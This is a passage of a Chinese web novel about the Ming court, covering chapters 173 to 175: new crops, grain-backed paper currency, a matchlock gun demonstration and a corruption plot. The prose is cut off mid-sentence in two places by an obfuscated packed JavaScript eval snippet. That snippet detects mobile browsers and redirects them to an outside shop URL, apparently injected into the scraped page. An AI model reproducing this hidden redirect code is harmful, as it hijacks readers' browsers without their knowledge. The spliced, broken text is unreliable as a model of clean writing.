倒吧,我和你喝就行了嘛。” “好的,朱爷。” ———————————————————————— “今天,大伙都看到番薯,土豆了?” 朱元璋在殿内,对着下方的人说着话。 “看到的话,你们说说,这粮啊,是不是就不会再这么缺了呢?” 这话是笑着说出来的。 因为老朱是实实在在现场参与了收获行动的。 产量他一清二楚。 而且种植过程,朱橚也完整地给他看过。 并不是什么困难的事情,再结合朱安宁的说法,番薯需要的地方苛刻些,但是土豆是可以北方都种下去的。 这就非常好了。 “这些番薯土豆,陛下是打算让江宁千户屯田种下去,明年再大范围推广?” 人少了些,说话也就更直白了些,户部尚书杨思义是略微激动地问道。 “嗯,正有此意。” “陛下,人手会不会有点不够啊……” “此事,保儿,五军都护府是你管着,还有董俊,你们挑好人给到九江,刘廌和刘畾他们,要脑子活的,年轻的,懂?” 朱元璋点了点李文忠和军部的董俊。 两人连忙点头答应。 “杨思义,你户部也把还留在应天的……”朱元璋话说道一般,却顿了顿。 他想起了最近毛骧一直上报的名单…… 户部,涉及到江南税收一案的人,极多!!! 要不是现在前线还需要户部去居中调度,他早就开砍了! 于是他皱起了眉头,缓缓继续说道:“杨思义,重开军储仓,你且兼管军储仓,不得由他人代管!此次种粮一事,户部只负责最后协助收获,清点就行。” 这安排让杨思义一下就皱起了眉头。 什么个情况,这种种粮的事情,户部应该要参与极深才行啊。 不过他却看到了朱元璋警告似的目光,只能缩了缩脖子,点头。 朱元璋长长地叹了口气。 他是让毛骧查过这杨思义的。 让他没想到的是,户部上到下烂了一片,偏偏这户部尚书,确是没问题那个。 真是滑天下之大稽。 不过这些事情现在都可以暂且放一放,他需要把这次种粮事件,赶紧和他的大明宝钞新策!绑在一起! 朱标很快也走了上来。 两父子拉着一众大臣,开始在应天府舆图上,对新的江宁屯田千户如何具体落实,抽调人选,开始讨论。 这种事情,本来不应该这么繁琐的。 但是朱元璋对此事极其上心,自然是一个人一个人推敲过去,务必保证。 去到江宁屯田所的人,没有毛骧名单上的人选。 所以当刘伯温李善长等人不断推荐人的时候。朱元璋总会瞄一眼案台,才回应,这让众人皆觉得有些奇怪。 这事总归还是花了不少的时间。 待到细节都敲定。 朱元璋终于是得以起身,又重新走到了几人面前。 “接下来,咱啊,想和诸位,说一说,这大明宝钞的事情。” 第一百七十三章 how old are you “大明宝钞?” 有几个人皱起眉头。 有几个人会心一笑。 笑的,自然是已经听过这法子的人。 皱起眉头的,则是心里一惊,想的是又整什么幺蛾子了。 其实早期朱元璋发放大明宝钞,极为草率,很多官员都看出了问题。 但是谁敢说话呢。 老朱自己也隐隐知道有问题,但是却也是不得已而为之。 没铜又没银,他老朱也只能硬上。 直到遇见了朱安宁。 朱安宁给出的锚定宝钞的法子,其实非常简单,却又如此地有用。 他老朱没有银两去锚定,但是现在即将有粮食了啊!而且最重要的是,锚定粮食后,好像可以整一整那些异族啊,这才是关键! 这事,可以整! 朱元璋笑呵呵地,用手指点了点朱标。 “标儿,你来说,反正这事情以后也是你管。” 对于老朱的指指点点,朱标多少是有些无奈的。 什么都他管,他直接坐那位置好不好…… 不过说真的,当皇帝可真累啊……以后自己的子孙会不会也这般苦逼呢? 朱大儿同志,叹了口气,走到了台前,扫视了一眼下面的众臣,开始解释这件,其实他已经和老朱盘算了很久的事情。 粮仓早已建好。 锚定宝钞需要的粮食重量也已经确定。 他们最终还是决定只用稻米和小麦去锚定。 对于不同年份的,不同品质的粮食,他们甚至还设计了些价格上的区别。 只是他们也知道,设计很美好,到时实际操作起来,估摸会很骨感。 两父子就是因为这江南贪腐案和粮草数量始终是比较紧缺的这个问题,而迟迟不敢推动这宝钞一事。 但是,现在已经没有什么好怕了,只需要两季,有两种新主粮加入,粮草数量理应能得到极大的补充,他们必须要在此时动手。 与此配合的的,还有对六部和一些基层官僚的清洗……这事情已经迫在眉睫。 除了因为战争外,还有一个问题便是。 朱元璋和朱标迟迟没有想好,该用谁去替代这么一大批官僚,这件事情始终困扰着他们。 特别是朱标,他一直觉得大明对于地方的管控力度实际上并没有想象中那么高…… 而对于杀不杀,他们两父子倒是难得地统一了意见,查清楚的了,都该死,一个都跑不了。 但是替换的人,真是难搞。 他们现在也只能看一步走一步。 反正这大明宝钞的事情,是绝对不能再拖了。 大明宝钞的推行,不仅仅是一项经济政策的调整,更是事关边疆!他们继续配上朱安宁的搅屎棍之策,其实也就是离岸制衡的法子,快速稳定边陲! 朱元璋和朱标都知道,这其中的每一步都需谨慎行事,稍有差池,便可能引发朝野动荡,甚至动摇国本。 这次殿内的都是应天府中,核心或者信得过的人。 朱标深吸了口气。 “诸位大人,大明宝钞的发行,已有几年……” 他看向了众人,继续说了下去。 “但是使用情况,大家应该了解吧。” 这个问题直击灵魂深处。 听过朱安宁新策的人是三缄其口。 打死不发表意见。 而另外一些,却也是不太敢说话。 谁敢说嘛…… 明令上,明初是禁用白银金子进行交易的。 但是实际上……嘿嘿,大家都懂。 所谓的“大数用钞,小数用钱,钱钞兼行”制度,有一个相当让人难受的点,那就是朱元璋在禁止流通金银的同时,又规定了金银与宝钞之间的兑换比率,“每钞一贯,准钱千文,银一两;四贯准黄金一两”,这样一来,人们手中的金银就被朝廷用宝钞换走了,但是他们却无法用宝钞向朝廷兑换金银。 这个其实是相当扯淡的。 因为相互兑换加准备金才符合金融规律,老朱妄图通过行政手段来左右金融规律,这就是扯淡的点了。 他重罚使用金银的人又如何。 还不时偷偷用金银。 这让宝钞每年都在贬值。 实际购买力和面值根本不匹配…… 其实现在还好,但是在朱安宁的口嗨下,朱元璋已经预见到了未来的结果……那便是崩盘…… 就这么简单,一定崩盘…… 只有加了锚点之后,才能让大明宝钞稳定下来! 而且痛定思痛之后,他和朱标还琢磨出了不少缺点。 比如面板太单一这种问题,他们也给了方案去解决。 “怎么,没人有意见?”朱元璋在那轻哼了一声,那是多少有点嘲讽。 平时骂自己博清名的时候,这些官是一个比一个骂得狠。 现在轮到讨论实事了,却又一个两个连屁都不敢放……真是令人讨厌。 老朱走下去,拍了拍李善长的肩膀,示意了下。 “善长,你说。” 这一下让李善长是有些脱力。 怎么这事就得让自己 来呢?旁边的刘伯温不是更加能说会道么? 心里面腹议了两句,回答还是要回的。 李善长拱了拱手连忙应了句。 “上位,关于大明的宝钞制度,臣以为此乃一大善政,对我大明江山社稷之福祉,实有不可估量之益处。宝钞之发行,旨在减轻铜钱鼓铸之辛劳与成本,同时便利商贾转输贸易,促进市场之繁荣。此举既减百姓之负担,又为我朝经济发展注入新之活力,实乃英明之举。” 他又不是什么傻子,上来就先夸了一波。 这就是他比刘伯温要高明的地方,那就是知人心…… 听过朱安宁计策的人,都知道朱元璋点人说话,就是要说现在这宝钞制度的不对,这才能顺利引出新政。 但是李善长上来却先夸了一段,让朱元璋舒舒服服地,然后才开始转折。 “但是,宝钞之流通虽广,但亦存在伪造之虞。且商贾百姓,家中都留有些金银,日常用度难免还是会使用……” 韩国公作为职场高手,说话永远有分寸。 这些弊病是老朱想听到的,他说就是了,但是更多的话,就要慎言了。 朱标和朱元璋都很熟悉这个老臣的做派。 其实有他这一段引子,已经完全足够了。 朱标笑了笑,递了个眼神给李善长,这老人立马识趣地后退了一步。 “宝钞在通行过程中,的确逐渐暴露出一些弊病。韩国公说得很对,所以,新政,势在必行。” 太子爷,从袖中,掏出了一份长长的卷轴,开始给一众人解释。 何为粮食,锚定宝钞。 又如何,去与边境的地方,通商。 以及最重要的是,搅屎棍该怎么搅!!! 朱标读的书,要比老朱多上许多。 所以他的讲解,深入浅出。 很快,就讲得通通透透。 最后那兵部董俊,听得是一拍大腿。 叹气说道:“若能在敌国,或者边境,同行这宝钞同时允许兑换粮食,那真就是拿捏住了对方了啊!” 他一下就听出了跨国兑换中,最为阴损的兑换额度问题。 平日那就是你想怎么换怎么换,我要搞你,一下就可以卡死你。 这阴损啊! 董俊也好,杨思义也好,那几个阁臣也是,都不由得看了看朱标,又看了看朱元璋,似乎在犹豫,这究竟是谁想出来的阴损法子。 最终,一众大臣,都把目光移向了朱元璋。 这般阴毒……确实是有点老朱的作风。 他们的目光,却也是把朱元璋给看乐了。 “怎么?这般断子绝孙的法子,就一定是咱想的啊?啊,杜佑你说!” “啊?上位……”那内阁大臣杜佑是一脸苦涩,他本就比较古板,就是那种兢兢业业的秘书,突然被老板提了这个问题,是让他相当难受。 幸好的他的同僚王本还算圆滑,连忙接了话。 “上位,我与诸位大人,是感叹上位才思之全……” 这马屁才刚开始拍。 朱元璋就摆了摆手,大笑了起来。 “哈哈哈,我就告诉你们吧,这法子,可不是我和标儿想的,是那少詹事,朱安宁想的,你们,要夸,就夸他罢!” 这话说出。 除了朱标,所有人的脸色,都变化了不少。 认识朱安宁的刘伯温李善长等人,是知道,这永乐庄庄主,是时候要被洪武帝正式启用了,今天不断提起他,给他官职,就是信号! 而不认识朱安宁的人,则是惊讶于,这少詹事什么来头!!! 既能给出番薯土豆此等神物,又能给出这等定国之策,实在是人才!怎么之前自己没听过?! 于是,认识朱安宁的,与不认识朱安宁的,都吸了一口凉气。 一众人都在开始盘算,是否这洪武朝又有一个新的勋贵要崛起的时候。 朱元璋却没有停下这朝会后的二次小会,只见他挥了挥手,又给了众人一阵意外。 “把赵集给我召进来。” 这话是对门外的小太监说的。 “赵集?” “赵大人,工部的人啊。” “难道是这空缺了许久的工部尚书,终于要有人接了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378777|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 几人在嘀咕,朱元璋却也没有管他们,而是坐回了龙椅上,等待了起来。 朱标也是回到了自己的位置上,拿起茶杯,润了润喉。 前半场结束,还有下半场呢,各位大人稍安勿躁。 这下半场,可就是没多少人知道了哟。 朱标瞄了眼自己父皇案台下的那杆长长的火绳枪,嘴角是不自觉地弯曲出了个弧度。 有此利器,再配合朱安宁的新粮,和宝钞之策,何愁不能万国来朝!!! 朱标也是有心气的。 他父亲建立明朝,那他就要把这大明,推至鼎盛! 不多时,候了已经许久的赵集,匆匆忙忙从门廊外走了过来。 穿着官服的赵集,要比在永乐庄铁冶显得庄重些。 他看着满殿的大臣,便也是立马就知道了,自己的成果……不对,应该是朱安宁和自 己的成果,要公示了。 “工部赵集,见过陛下,太子!” 他缓了缓心神,进到了殿内,朝上面一拜,便开始等朱元璋回话。 老朱也没有整什么多余的仪式感。 那是相当直接地从案台下掏出了那把没炸膛的火绳枪,走了下去,递给了赵集。 众人都是一脸懵地看着这火绳枪,只觉得有些新奇。 李文忠和兵部的董俊,新奇至于,更是有些按捺不住想要上前端详。 明显这就是火器。 他们也算是见得多火器了,那见过这款。 “赵集,介绍一下你的杰作吧!好好给诸位大人,特别是曹国公和兵部尚书,讲讲你这枪啊,怎么使,有多好用。” 朱元璋,拍了拍赵集的肩膀,眼中满是欣赏。 这才是他喜欢的大臣,专业,不贪,有理想,知道舍命给他老朱打工,真是太赞了。 赵集看着朱元璋的目光,知道,是时候表演真正的技术了! “是!”他应承了一声,然后回头看向了好奇的大臣们,准备开始介绍。 赵集站在一众大臣面前,手中握着火绳枪,眼神中闪烁着光芒。 “诸位大人,请看这把火绳枪。”赵集举起手中的火绳枪,让已经靠得很近的李文忠和董俊得以仔细端详,“相比我们之前使用的火门枪,它有了显著的进步。” “首先,它的射击精确度大大提高了。”赵集接着说了下去,昨日他和朱安宁已经试过了,就他们这种水平,都能做到击发不会太过偏离,那代表这枪绝对比火绳枪要好使!“火器手只需扣动扳机,双手可以稳定地握持枪身,实现三点一线的瞄准射击。在一百步的距离上,杀伤力惊人,足以洞穿树木,远飞现在火门枪可比。” “多少步?” 李文忠原本只是端详,当他听到100步这个距离后,猛地抓住了火绳枪,一副要抢过去的狰狞样! 赵集却也是犟着把枪拉了回来,回道:“曹国公,一百步,甚至于,我认为一百五十步,都有杀伤。” “嘶!!!” 懂行的开始吸气。 不懂行的,虽然懵逼,但是也听得出很是厉害就是了。 “再者,火绳枪的操作也更加便捷稳定。”赵集没有管李文忠,他继续介绍,“射手可以双手持枪,保持射击姿势的稳定。而且,它只需要一人便可操作!这火绳点着后,扣动扳机便可以让火绳进入火药仓,击发弹丸!单人就可操作!” 他再强调了一遍。 这才是火绳枪最让人兴奋的点,火门枪这种傻大粗的东西,是没办法和火绳枪竞争的! 董俊听完,已经不是两眼放光了,那是宛如一个痴汉,他上去对着那枪管摸了又摸,像极了发情的猴子。 把站在他身边的王本等人摸得一阵毛骨悚然。 但是董俊毫不在乎,作为兵部尚书,他知道这枪的价值。 “不愧是赵大人,真是巧夺天工!”董俊,赞叹着。 却引来了赵集的皱眉。 “此物,并非是我设计。” “嗯?” “此物,是东宫赞读,朱安宁朱大人所设计!” “朱安宁?怎么又是他……” 躲在永乐庄房车里的朱安宁,猛地打了个喷嚏。 他刚在房车里脱下衣服…… 倒不是说他要做什么变态事情。 而是那金吾卫在给他圣旨的时候,还塞给他一个小布袋。 他打开才发现是官服。 九品官府他有,但是不就是芝麻官嘛,平时他也懒得穿。 这少詹事可就不一样了,四品啊,衣服真就高级了不少啊! 嘿嘿,自己也是高官了哦。 他对着镜子,傻笑了起来,虽然不想当,但是当了又有点爽! 第一百七十四章 有什么比修书更重要?! 所有事情都告一段落。 群臣心中只有震撼,唯有震撼。 怎么会有这样的人。 好像事事都和他有关。 人人都夸他…… 这什么情况嘛。 而朱元璋要的就是这个效果。 无派系,无根基的人,领大功是最好的! 更何况,朱元璋还是挺喜欢朱安宁的,虽然这年轻人天天怼自己…… 而屏退众臣,让朱标领着内阁去干活后。 朱元璋独自来到了边殿。 这里,有一位老者,正在等待着他。 朱元璋也没什么多余的话语,径直走了进去,便坐下。 那正在打盹的人,便是宋濂。 他睁开眼睛,看到的便是已经坐下的朱元璋,那是连忙起了身就想跪下。 像宋濂这种已经致仕,又年老,跪不跪都是朱元璋一句话的事。 但是朱元璋这次却没有先开口。 明显是有些惩戒的意味。 毕竟这老宋濂回了京,居然第一时间不是来见自己,而是好像去找自己学生方孝孺去了,还在永乐庄闹了一出闹剧。 马皇后回宫后,带着朱怀静是把事情的来龙去脉一五一十地告诉了朱元璋。 “宋先生,久违了。”朱元璋的声音浑厚而富有磁性,打破了殿内的宁静。 宋濂跪着,声音虽略显苍老,却字字清晰:“陛下,老臣有礼了。多年未见,陛下龙体康健,实乃国家之福。” “好了,起来吧宋先生,咱也没有生气,只是觉得啊,先生回应天了,都没有第一时间来见咱,还以为生分了呢,哈哈。” 这段话多少让宋濂有些汗流浃背,他是熟悉朱老板性格的,这不就是暗搓搓说自己的不是么。 “老臣确实是昏聩了,陛下恕罪。” 于是,他也说得直接。 这种事情其实是很敏感的,对于已经致仕的老臣回到权力中心,如果他见的是高官,那朱元璋怕不是已经开始彻查了。 但是宋濂回应天后,又确实没有怎么见外人,只是见了方孝孺,又去了永乐庄一趟而已。 这责罚两句,也差不多了。 朱元璋微微一笑:“先生年事已高,仍不辞辛劳,远道而来,朕心甚慰。想当年,先生以笔墨明志,教化万民,功不可没。怎能说昏聩呢。” “陛下过誉了。老臣不过是一介书生,能得陛下赏识,得以施展所学,实乃三生有幸……” 宋濂作为老官,自然是能听出朱元璋的责罚,应该就是那几句话了。 暗自叹了口气,当官还是真就有点累啊。 致仕了都要还守一堆规矩…… 客套话说得差不多,其实朱元璋还真就有点想过要找宋濂,这么些天。 只不过事多,他也更想让宋濂主动来找自己,两人的见面便拖到了今天。 “好了,宋先生,咱们啊,就不要这么客套了,喝茶吧,咱啊,今天还真的有事想问问您。” 苛责结束,朱元璋切换了下情绪。 对于宋濂,他还是保留了相当的敬意的。 这可真是个大儒,不是那些文绉绉天天扯几把蛋的腐儒。 “陛下请问,老臣自当言无不知。” 宋濂起身后又拜了拜,年纪大,就这几个动作都让他累的不行。 其实他今天,也是有事找朱元璋的,他捏了捏袖中的纸张,决定还是等朱元璋问完话再说。 “前几日,方孝孺不是去了永乐庄和那朱安宁打赌么?那日恰好皇后也在,他说那朱安宁教的学生,相当厉害,居然把方孝孺都给驳倒了。” 这串话,让宋濂是一下就有点挂不住了。 什么叫驳倒…… 只是碍于身份,方孝孺没办法继续问些更加深入的问题而已…… 怎么传到陛下这里就变成驳倒了…… 不过宋濂也只能暗自叹了口气,输了就是输了,他也不是什么输不起的人。 “回陛下,朱大人所教的弟子,确实有见解,懂大理。” “但是,那两孩子,我见过,就是寻常农家孩子,之前应该是没念过书的啊!” 朱元璋继续发问。 其实他知道有注解的,现在发问只不过是想看看宋濂的看法而已。 宋濂一听,眼睛却是倏地亮了起来,这也是他今天想来说的事情。 “陛下,请看这注解!”宋濂颤颤巍巍地掏出了方孝孺和他都看到包浆的教材全解…… 朱元璋是听过马皇后说注解的事情的,但是他没看过。 现在看宋濂掏了出来,也是好奇不已。 便接了过去,细细看了起来。 都说老朱是开局一个碗。 但是实际上他后来是认认真真学过很多东西,并不是说没文化的皇帝。 所以当他看到现代教材全解的时候。 那脸是直接就绷不住了。 “这……这般详尽,任谁去学,都能懂上一二吧!” “正是如此,而且陛下你看,句读的使用,那是相当相当有功底啊!” 宋濂作为大儒,他完全知道这些东西的价值。 方孝孺输了,是坏事。 但是能发现这些注解,这对他来说可是天大的好事。 作为佛道教都会去研究的大儒,宋濂对教化,那是相当相当有热情的! “听闻朱大人是域外大儒薛金星,王后雄的弟子,以他的能力,定能根据这句读,和所学,去编撰更多的注解!老臣斗胆说一句,是否能让这朱大人,进翰林院,让他修书注解,这是能造福无数文人士子的大事啊!” 宋濂不顾自己年老,又是摇晃着站起来,然后跪下,又拜了拜。 老人一生都在行教化之事,他所教弟子,有太子,有皇子,有大员,他知道朱安宁如果能把四书五经全部注解完,那将是何等盛事! 也得亏朱安宁不在这里,在的话他估计能跳起来……指着宋濂骂上三天…… 他能注解多少经典,看的不是他的能力。 而是他电脑的资料里有多少库存…… 要是真让他去修书注解,他可能第二天就得跑路…… 宋濂还在跪在,他抬起了头来,满是希望地看向了朱元璋。 朱元璋是一阵沉默。 宋濂这老先生,实在是当之无愧的大儒,让朱元璋隐隐都有些佩服…… 但是,朱安宁是不可能进翰林院的,比起给四书五经做注解,更重要的是,粮食,火器,还有对边陲之地的管束! 这些都需要朱安宁也参与进来。 他和朱标一样,实在是受够了朱安宁扒拉几句话,他们就得累死累活干几天的活! 整得好像他是皇帝一样! 不行,他也得给咱过来这里做苦力! 这便是朱元璋最真实的想法。 于是,他摇了摇头。 缓声说道:“宋先生,朱安宁,有更重要的事情要做。” “能比得过修书?!”宋濂有些急切。 “重要无数倍不止,他要说的事情,事关万民福祉!过些日子,你便知道了……” 朱元璋说得斩钉截铁。 宋濂,则是张了张嘴,不知道该怎么回话。 眼神,黯淡了下去。 —————————————— 江宁屯田千户所的消息。 只消半天,便在应天府传开。 屯田千户,并不重要,但是里面种的东西,那可太厉害了。 据说亩产十几二十石。 是域外的新粮。 这事,有人信,但是更多的持的是怀疑的态度。 毕竟没见过实物。 街口大妈甚至直言,是不是有佞臣蒙蔽陛下,才会信这荒唐事。 总之不管如何。 千户所这一事,是人尽皆知了。 这事朱元璋希望看到的。 让大家知道新粮,待到种出来后,大家便能最快接受新粮,并去种。 朱安宁的意见很重要,直接推广是很艰难的,谁家的田都很宝贵,农民也好地主也好,在没看到实际产量前,绝不会有人冒险去种的。 这江宁屯田千户所,便是应天府实验田,种给大家看的。 还有另外一个消息,就只在官员中流传了。 那便是,有个新的勋贵要崛起了,他叫朱安宁,之前是东宫赞读,但是突然被提拔成了少詹事。 有人说他就是新粮的献宝人,有人说他造出了威力强大无比的火器,又有人说,他提出了定国神策。 反正在一众官员那里是越传越玄乎。 最后出乎朱元璋和朱标意料的是。 事情开始有点走歪,那便是,这朱安宁的朱,指不定是皇家的朱…… 这是让老朱有点哭笑不得。 也让朱标一阵愕然。 本来朱元璋是恼火地想把传出这种谣言的人抓出来吊打的,毕竟这种事情异常敏感,他老朱是决不想让这种事情继续发酵的。 就如他建立洪武 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378778|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朝之前,突击把所有义子的姓都重新改了回来,甚至是自己侄子朱文忠,最信任的义子朱英,都就地改姓。 而阻止他的人是朱标。 理由很简单。 “国已稳固,我已监国,父皇无需多忧,且,我们需要朱安宁去,整治那些勋贵之后……这种流言,不正合适么,只需要事后我们解释清楚便是!” 于是短短半天时间。 整个应天府就此闹腾了起来。 街头小巷,没有人可以拒绝八卦! 而火绳枪一事,朱元璋是下了死命令,暂且保密,若是有流言蜚语传出,九族消消乐。 他需要一点时间去让工部造更多出来。 足以提供给前线打一场胜仗。 前些日子,他已经收到了沐英和蓝玉的密信。 【舆图已确认无疑,敌方动向,也早已掌握,等天气转冷之际,水草枯退之时,便是第一仗之日】 这个打法很符合沐英的性格。 朱元璋也相信他这个好义子的判断。 本来按照蓝玉的想法,他是想直接开冲的。 但是毕竟是犯了事,要戴罪立功的时候,他哪敢叫得那么欢,自然是乖乖听从了沐英的调遣。 让沐英都很是意外。 总而 言之,这火绳枪,他老朱是想要找个时间自己试一试的,不止是他,他还把正在练兵的徐达,汤和又叫了回来。 而永乐庄这边,成梁已经住了进院子里,这两天忙的事情,是明天的流水席…… 朱安宁夸下的海口,最终还是要有人来实现的。 这个倒霉蛋就是成梁了…… 本来他是可以找戚祥帮忙的。 但是这几天,戚祥不知道跑哪去了,连朱安宁都找不到他人。 幸好戚祥留下的军户管理模式还在起作用,成梁找到永乐庄的【十户】们,很快就把要帮手的消息散了下去。 农妇们是踊跃报名,各个都摩拳擦掌想展示一下自己的厨艺。 至于主厨,成梁直接动用了之前的人脉,请来了城里同福楼的几个厨子,现在人已经到永乐庄了,都在忙活着起土灶,和写清单让成梁去备料。 整个永乐庄一下就热火朝天起来。 而院外的铁冶,也是火力全开。 赵集和朱棣,就在那乐呵呵地看着一支又一支的火绳枪造出来,逐渐堆积如山。 当然,朱棣是按捺不住的,他一大早就已经拿了一杆,拉着赵集去后山又试了一次。 效果之好,完全出乎朱棣的意料。 他已经下了决心,就是被朱元璋揍死,自己明年也要带一批这新火绳枪出去。 塞外其他人能打过去,他朱棣就不能? 守着顺天,不如主动出击! 甚至于,他还有了一个大胆的想法…… 朱安宁提及的那个遵化矿,已经初见雏形,那么,是否可以在那里也建一个营造,成为火器的生产地呢?! 这事有点敏感,必须要和自己大哥朱标说了,才能和自己老爹说…… 至于赵集。 朱元璋并没告诉他,这两天有人弹劾他的事情,只是让他介绍完火绳枪之后,就让他回铁冶这边加紧生产。 理由很简单。 弹劾赵集的人,都在毛骧的名单内。 这让朱元璋起了点疑心,但是又没什么头绪。 那群人贪腐,主要贪的是收上来的粮,或者是巧立名目,从农民那里多征粮,这是已经查实的情况。 这帮人为什么那么急于弹劾一向不拉帮结派,只顾埋头干活的赵集? 这里一定有问题。 当某军屯千户的折子递上来后,朱元璋是终于有点暴怒了。 【近日,臣剿境内流窜之匪患,以保境安民,然在行军之际,却遇一棘手之事,不得不急禀天听。工部所配发之武器,乃军中之根本,其质量优劣,直接关系到将士生死及战事成败。然臣部所得之兵器,质地低劣,多有瑕疵。于剿匪战中,不少将士因武器不堪使用,刃口崩裂……】 仅看到这里,朱元璋就已经脑血上涌。 这群虫豸,真的是虫豸! 户部的粮出问题了,毛骧在追查。 现在工部的武器,都有问题?! 这大明,是不是才建立十数年,就千疮百孔了呢? 压抑不住怒火的朱元璋,没有打草惊蛇,而是直接给了戚祥秘奏,让他去追查一下工部武器的情况。 所以这便是戚祥突然从永乐庄消失的原因。 第一百七十五章 大家都在发挥想象力 “蓝染,你说军屯的那批武器,你都尽数销毁了?这事能有保证么?” 麦至德在同福楼喝着酒,有些心神不宁。 一边的蓝染,却是鄙夷地看了眼这草包,有些不屑…… 当然,那份鄙夷是很好地藏了起来,并没有被麦至德发现。 他给麦至德添了些酒,才缓缓说道。 “麦大人,我办事你还不放心?那军屯千户,虽然生气,但是也不是油盐不进的人,我只是告诉他,这事只要撇到工部身上,他就绝对不会有麻烦,至于那些破烂武器,还不销毁,留来干嘛呢?” “撇到工部身上?那岂不是我也有责任!” 麦至德是惊得差点跳了起来,那是对着蓝染直接怒目而视。 蓝染只能强压着心中不耐,继续解释下去,这麦至德真就是官员的贪婪他全都有,官员的精明他中下游…… “麦大人,这么大的事情,必然是无法弹压下去的,千户大人那边也不敢隐瞒这事,毕竟他总不能把剿匪失利的责任揽到自己身上去吧。所以我给他送了点礼,小小地建议他,不弹劾任何人,只说工部的不是,那您与郭大人等再配合一下,把这事,往某人身上一推,不就了结了么。” 他细细的解释了一遍。 麦至德一边喝酒,一边砸吧嘴巴,也是终于听懂了蓝染的意思。 “昨日开始,郭大人我们几人,已经开始弹劾赵集疏于管教了,明天是不是就可以往这件事情引了呢?” 看着麦至德开窍,蓝染是终于松了口气。 最近他其实有点风雨欲来的感觉,主要是太顺了,应天府的官员们胃口越来越大。 他知道这迟早要出事。 但是又不知道是哪个环节出了问题。 他哪能想到是最初的那两车石膏,能引发这般连锁反应。 迟迟没有理清最近这烦躁头绪的他,只能把情绪发泄到店小二身上。 “店家,上个菜怎么那么墨迹,让我们大人都等烦了!” 他皱眉,对外面喊了一句。 这站在外面候着这层楼贵宾的同福楼小二那是一脸谄媚地推门进来,然后点头弯腰回到:“两位官爷,实在是抱歉啊,我们这楼里的厨子,有一半不在,他们已经把锅都盘出火来了,马上给二位爷上马上给二位爷上!” 这番话听完,蓝染还未发火,那麦至德先叫了起来。 “狗东西,你爷爷我要吃顿饭,你们家厨子跑了一半?诚心给爷找不痛快是吧?” 麦至德一拍桌子,不仅把那店小二吓了一跳,连蓝染都一脸无语。 这人……脑子可能真的有点问题。 “官爷,息怒息怒,咱家厨子没跑,只是被那永乐庄请了去做席而已……要不,我现在去后厨,给二位爷抢盘菜出来先?” 小二也算是见多识广,虽然被吓着了,但是还是立马回了话。 “去去去,赶紧给爷去抢,赶紧上菜!” 麦至德一脸鄙夷地摆了摆手。 他官至郎中,虽然不是什么超级大员,但也是正儿八经的五品命官,士大夫阶级的一员,骂一个店小二,算什么大事。 “好嘞,我去去就来。” 那小二听完麦至德的话,也是连滚带爬地往外跑去。 作为同福楼资深跑堂,他深知……有些暴躁的官爷,是会打人的,而人被打,就会疼…… “没点眼力见的东西。” 看着对方跑出包间,麦至德还不解气地啐了一口。 蓝染则是攒起了眉头。 他倒不是说情绪过去了,而是他从店小二的口中,听到了一个关键信息。 永乐庄…… 这不就是那蓝梁,现在应该叫成梁,去的地方么。 自己义父蓝玉应该是在这个庄子里面吃过亏的…… 具体的情况,当天去的人都三缄其口,其中两人甚至还把命都给丢了。 他只知道自己曾经阻碍过一单生意,就是和那永乐庄庄主朱安宁的石膏生意,这事他是记得的,原因也很简单,他不喜欢成梁,这人不好控制。 他当时只想随便找个由头把他弄走而已。 这样才更方便自己通过蓝玉义子这个名头,去串联起江南一带的地方官土绅,和应天府的高管们。 今天的厨子都被请去永乐庄了? 蓝染捧起了酒杯,思索了起来。 “诶,蓝染,喝酒不得碰个杯?” “哦哦,麦大人,抱歉抱歉,方才是听见永乐庄,觉得有些熟悉而已……” “永乐庄?”麦至的这么一听,也是沉思了片刻,然后脸色微变:“那不是那赵集建铁冶营造的地方么?是他请的厨子?有什么事情值得庆祝?” “赵集,你是说赵侍郎赵大人?” 蓝染顿了顿,心中的不安还在扩大。 他是知道麦至德他们计划的,不就是想把这铁器劣质的罪,推到这赵集身上,然后让麦至德能够安安稳稳升上去做工部尚书么。 要说这麦至德聪不聪明,他确实也就那样,但是要是说现在朝廷里,能治理好工部的人有谁,还真就是剩下他和赵集了。 所以他 是心心念念想把赵集干掉。 而郭桓等人也乐于推波助澜,毕竟这铁器的事情,必须要找人背锅! 蓝染不安的原因很简单,请厨子,还是同福楼的厨子上门做席,可不便宜。 这么大操大办,怎么想都不像是小事。 “麦大人,我今儿刚回应天府,消息没您灵通,这永乐庄除了赵集的铁冶,还有无什么特殊事情,最近……” 他只能对麦至德追问。 麦至德是自顾自地又饮了杯酒,然后想了想才回话。 “要说事情,今儿白天,到处都在传。有人献了神物给陛下,据说亩产几十石,陛下当即就下令要建屯田千户所去种这东西……” “几十石?”蓝染先是一愣,然后那是哈哈大笑起来:“麦大人莫要说笑话了,几十石,那不人人吃饱饭,家家有余粮了啊。” “我也是说嘛,不过还有一事,那确实是和永乐庄有关了。” “麦大人请讲。” “那永乐庄庄主,朱安宁,不知怎么地搞了个赞读的小官身。” “赞读?”蓝染是一愣,他对官职都算熟悉了,但是还真想不起有这官:“捐官吧。” 蓝染说的是为了筹集军费、缓解财政紧张,鼓励富户捐资纳粟,以换取官职或爵位。他这般努力积累自己的财富,其实也是有点这个心思在。 